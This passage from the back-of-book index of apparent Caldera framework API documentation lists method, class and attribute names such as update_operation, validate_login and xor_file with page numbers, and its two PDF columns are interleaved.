method), 124 app.objects.secondclass.c_link), 148
update_object() (app.api.v2.managers.base_api_manager.BaseApiManager
update_stopping_condition_met()
method), 126 (app.service.planning_svc.PlanningService
update_object() (app.api.v2.managers.operation_api_manager.OperationApiManager
method), 184
method), 128 upload_file() (app.api.rest_api.RestApi method),
update_object() (app.api.v2.managers.schedule_api_manager.ScheduleApiManager
134
method), 128 USER (app.objects.secondclass.c_fact.OriginType
update_objective() attribute), 146
(app.api.v2.handlers.objective_api.ObjectiveApi User (app.utility.base_world.BaseWorld.Privileges at-
method), 123 tribute), 189
update_on_disk_object() username() (app.service.auth_svc.AuthService.User
(app.api.v2.handlers.base_object_api.BaseObjectApi property), 174
method), 121
update_on_disk_object() V
(app.api.v2.managers.ability_api_manager.AbilityApiManager
valid_config() (app.contacts.contact_gist.Contact
method), 125 method), 140
update_on_disk_object() valid_config() (app.contacts.contact_slack.Contact
(app.api.v2.managers.base_api_manager.BaseApiManager method), 141
method), 126 VALID_TOKEN_FORMATS
update_operation() (app.contacts.contact_gist.Contact attribute),
(app.api.v2.handlers.operation_api.OperationApi 140
method), 124 validate_and_setup_task()
update_operation() (app.api.v2.managers.schedule_api_manager.ScheduleApiManage
(app.service.interfaces.i_rest_svc.RestServiceInterface method), 128
method), 173 validate_link_data()
update_operation() (app.api.v2.managers.operation_api_manager.OperationApiMana
(app.service.rest_svc.RestService method), method), 128
185 validate_login() (app.api.rest_api.RestApi
update_operation_agents() method), 134
(app.objects.c_operation.Operation method), validate_operation_state()
162 (app.api.v2.managers.operation_api_manager.OperationApiMana
update_operation_link() method), 128
(app.api.v2.handlers.operation_api.OperationApi validate_password()
222 Index
caldera
(app.contacts.tunnels.tunnel_ssh.SSHServerTunnelwrite_event_logs_to_disk()
method), 136 (app.objects.c_operation.Operation method),
validate_requirement() 162
(app.service.app_svc.AppService method), write_file() (app.contacts.contact_ftp.FtpHandler
174 method), 140
validate_requirements() write_result_file() (app.service.file_svc.FileSvc
(app.service.app_svc.AppService method), method), 179
174 write_result_file()
value() (app.objects.c_source.Adjustment property), (app.service.interfaces.i_file_svc.FileServiceInterface
165 method), 169
Variation (class in
app.objects.secondclass.c_variation), 154 X
VariationSchema (class in xor_bytes() (in module
app.objects.secondclass.c_variation), 154 app.utility.payload_encoder), 190
verify() (app.objects.c_adversary.Adversary xor_file() (in module app.utility.payload_encoder),
method), 157 191
verify_adversary()
(app.api.v2.managers.adversary_api_manager.AdversaryApiManager
method), 125
verify_fact_integrity()
(app.api.v2.managers.fact_api_manager.FactApiManager
method), 127
verify_operation_state()
(app.api.v2.managers.fact_api_manager.FactApiManager
method), 127
verify_relationship_integrity()
(app.api.v2.managers.fact_api_manager.FactApiManager
method), 127
Visibility (class in
app.objects.secondclass.c_visibility), 155
VisibilitySchema (class in
app.objects.secondclass.c_visibility), 155
W
wait_for_completion()
(app.objects.c_operation.Operation method),
162
wait_for_links_and_monitor()
(app.service.planning_svc.PlanningService
method), 184
wait_for_links_completion()
(app.objects.c_operation.Operation method),
162
walk_file_path() (app.service.file_svc.FileSvc
static method), 179
watch_ability_files()
(app.service.app_svc.AppService method),
174
which_plugin() (app.objects.c_ability.Ability
method), 156
which_plugin() (app.objects.c_adversary.Adversary
method), 157
which_plugin() (app.objects.c_planner.Planner
method), 163
Index 223